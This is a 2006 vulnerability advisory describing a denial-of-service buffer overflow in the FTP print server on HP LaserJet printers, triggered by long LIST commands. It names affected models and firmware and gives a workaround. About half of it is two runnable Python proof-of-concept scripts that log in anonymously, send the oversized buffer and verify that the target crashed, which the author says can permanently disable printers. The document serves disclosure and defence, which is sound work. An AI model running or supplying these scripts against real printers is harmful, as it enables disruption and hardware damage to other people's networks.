HP FTP Printer Server Denial Of Service --------------------------------------- Author: Joxean Koret Date: 2006 Location: Basque Country Affected Software ----------------- Vendor: Hewlett Packard Description: HP Printers FTP Server Denial Of Service Description ----------- A problem exists in almost any currently used HP Printer with the FTP Print Server. Version 2.4 of the FTP Print Server will crash with only one shoot. Version 2.4.5, which is latest, will need various shoots (the number of shoots needed is currently unknow). While playing with my own FTP Fuzzer I tried finding flaws in HP's Printers. After trying with 5 printers I found the problem in all of these. The problem is a buffer overflow in the LIST and NLST command. In version 2.4 a single shoot sending a LIST command with a long string (about 256 characters) is sufficient enough to test the vulnerability. Take care trying it because two of my printers were crashed completely (you will need to make use of your warranty ;] ). Against 2.4 versions it can crash the complete printer and be unresponsive even after rebooting it. In version 2.4.5 (which is the latest) you need to send various times long shoots to the parameter LIST (a single shoot will not crash, printer will answer with a "Path too long" message). You will need to send various times a LIST command with long strings. When trying with other commands you will see that no problem is raised and the printer will always be responsive. After a successfull attack you may completely crash your printer (i.e., calling technical support to fix your crashed printer). The problem can be easily triggered by using any FTP fuzzing tool. You can crash your printer in about 10 second(s) in a LAN. The printer models I used in my tests are: * HP LaserJet 5000 Series (firmware R.25.15 / R.25.47) * HP LaserJet 5100 Series (firmware V.29.12) Attached goes POCs for the vulnerabilities. Workaround ---------- Disable the FTP print server as, surely, you aren't using it. Disclaimer ---------- The information in this advisory and any of its demonstrations is provided "as is" without any warranty of any kind. I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory. Contact ------- Joxean Koret < joxeankoret [at] yah00 [D0T] es > -- ----------------------------------- Agian, agian, egn batez jeikiko dira egiazko Ziberotarrak, egiazko eskaldnak, tirano arrotzen hiltzeko eta gure aiten aitek tzi daikien lurraren popliari erremetitzeko. ----------------------------------- #!/usr/bin/python import sys from ftplib import FTP print "Hewlett-Packard FTP Print Server Version 2.4.5 Buffer Overflow (POC)" print "Copyright (c) Joxean Koret" print if len(sys.argv) == 1: print "Usage: %s <target>" % sys.argv[0] sys.exit(0) target = sys.argv[1] print "[+] Running attack against " + target try: ftp = FTP(target) except: print "[!] Can't connect to target", target, ".", sys.exc_info()[1] sys.exit(0) try: msg = ftp.login() # Login anonymously print msg except: print "[!] Error logging anonymously.",sys.exc_info()[1] sys.exit(0) buf = "./A" iMax = 9 for i in range(iMax): buf += buf print "[+] Sending buffer of",len(buf[0:3000]),"byte(s) ... " try: print "[+] Please, note that sometimes your connection will not be dropped. " ftp.retrlines("LIST " + buf[0:3000]) print "[!] Exploit doesn't work :(" print sys.exit(0) except: print "[+] Apparently exploit works. Verifying ... " print sys.exc_info()[1] ftp2 = FTP(target) try: msg = ftp2.login() print "[!] No, it doesn't work :( " print print msg sys.exit(0) except: print "[+] Yes, it works." print sys.exc_info()[1] #!/usr/bin/python import sys from ftplib import FTP print "Hewlett-Packard FTP Print Server Version 2.4 Buffer Overflow (POC)" print "Copyright (c) Joxean Koret" print if len(sys.argv) == 1: print "Usage: %s <target>" % sys.argv[0] sys.exit(0) target = sys.argv[1] print "[+] Running attack against " + target try: ftp = FTP(target) except: print "[!] Can't connect to target", target, ".", sys.exc_info()[1] sys.exit(0) try: msg = ftp.login() # Login anonymously print msg except: print "[!] Error logging anonymously.",sys.exc_info()[1] sys.exit(0) iMax = 6 buf = "./A." for i in range(iMax): buf += buf print "[+] Sending buffer of",len(buf),"byte(s) ... " try: print "[+] Please, note that sometimes your connection will not be dropped. " ftp.retrlines("LIST " + buf) print "[!] Exploit doesn't work :(" print sys.exit(0) except: print "[+] Apparently exploit works. Verifying ... " print sys.exc_info()[1] ftp2 = FTP(target) try: msg = ftp2.login() print "[!] No, it doesn't work :( " print print msg sys.exit(0) except: print "[+] Yes, it works." print sys.exc_info()[1] -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.1 (GNU/Linux) iD8DBQBFiCdwU6rFMEYDrlERAh4QAJ4w/yCIT89pf+5tSnt0YzABP/aWMACgo5vu I20+sFjA+2BZoAJaRpCvZ8U= =IcJ2 -----END PGP SIGNATURE-----